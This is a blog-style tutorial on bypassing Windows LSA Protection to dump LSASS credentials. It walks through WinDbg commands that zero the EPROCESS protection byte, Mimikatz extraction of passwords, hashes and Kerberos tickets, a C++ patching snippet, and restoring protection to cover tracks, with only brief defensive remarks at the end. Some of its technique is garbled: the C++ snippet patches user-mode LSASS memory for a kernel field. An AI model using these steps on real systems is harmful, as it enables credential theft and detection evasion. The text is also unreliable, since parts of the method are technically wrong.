Bypassing LSA Protection: A Deep Dive into LSASS Memory Dumping Techniques

By /

Listen to this Post

Featured Image

Introduction

LSASS (Local Security Authority Subsystem Service) is a critical Windows process responsible for enforcing security policies. Attackers often target LSASS to dump credentials, but modern systems employ LSA Protection to block unauthorized access. This article explores kernel-level techniques to bypass LSA Protection and extract credentials using Mimikatz and WinDbg.

Learning Objectives

  • Understand how LSA Protection mitigates credential dumping.
  • Learn kernel-level techniques to manipulate LSASS process protection.
  • Apply WinDbg commands to disable LSA Protection for forensic or red team engagements.

You Should Know

1. Checking LSASS Protection Level in WinDbg

Command:

!process 0 0 lsass.exe 
dt nt!_EPROCESS <lsass_EPROCESS> Protection

Step-by-Step Guide:

  1. Attach WinDbg to the target system in kernel debugging mode.
  2. Locate the LSASS process using !process 0 0 lsass.exe.
  3. Note the `EPROCESS` address and query its protection level with dt nt!_EPROCESS <address> Protection.
  4. A value of `0x61` (PPL-Protected) indicates LSA Protection is active.

2. Disabling LSA Protection via EPROCESS Manipulation

Command:

eb <lsass_EPROCESS>+<Offset_Protection> 0x00

Step-by-Step Guide:

  1. Find the `Protection` offset in the `_EPROCESS` structure using dt nt!_PS_PROTECTION.
  2. Overwrite the protection field with `0x00` using the `eb` (edit byte) command.
  3. Verify the change by rechecking the protection level.

3. Dumping Credentials with Mimikatz Post-Bypass

Command:

mimikatz  sekurlsa::logonpasswords

Step-by-Step Guide:

  1. After disabling LSA Protection, run Mimikatz as SYSTEM.
  2. Execute `sekurlsa::logonpasswords` to extract plaintext passwords, NTLM hashes, and Kerberos tickets.
  3. If errors persist, ensure the process has SeDebugPrivilege (privilege::debug in Mimikatz).

4. Automating the Bypass with Custom Tools

Code Snippet (C++):

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPID); 
WriteProcessMemory(hProcess, (LPVOID)(lsassBase + protectionOffset), &zeroByte, 1, NULL);

Step-by-Step Guide:

  1. Use `OpenProcess` with `PROCESS_ALL_ACCESS` to obtain a handle to LSASS.
  2. Calculate the protection offset dynamically via PDB parsing or hardcoding (Windows version-dependent).
  3. Patch the protection byte to `0x00` using WriteProcessMemory.

5. Re-enabling LSA Protection for Stealth

Command:

eb <lsass_EPROCESS>+<Offset_Protection> 0x61

Step-by-Step Guide:

  1. Restore the original protection value (0x61 for PPL) post-exploitation.
  2. Audit logs for `LsassSuspiciousActivity` events to cover tracks.

What Undercode Say

  • Key Takeaway 1: LSA Protection is a kernel-level security feature, but its effectiveness relies on attackers not having kernel access. Once in kernel mode, bypasses are trivial.
  • Key Takeaway 2: Organizations should combine LSA Protection with Credential Guard and constrained delegation to mitigate post-exploitation attacks.

Analysis:

While LSA Protection raises the bar for credential theft, it’s not foolproof. Attackers with kernel privileges (via exploits or admin-to-kernel pivots) can disable it. Future Windows updates may harden the `_EPROCESS` structure, but for now, monitoring kernel-level modifications to LSASS is critical for detection. Red teams should document these techniques for adversary emulation, while blue teams must hunt for `Protection` field tampering in memory scans.

Prediction

As Microsoft continues to harden LSASS, attackers will shift to alternative techniques like NTDS.dit extraction or shadow copy abuse. Kernel Driver Vulnerabilities (e.g., CVE-2021-21551) may also be weaponized to bypass LSA Protection without direct EPROCESS manipulation. Expect increased adoption of hardware-based isolation (e.g., Intel CET) in future Windows versions.

IT/Security Reporter URL:

Reported By: Saad Ahla – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: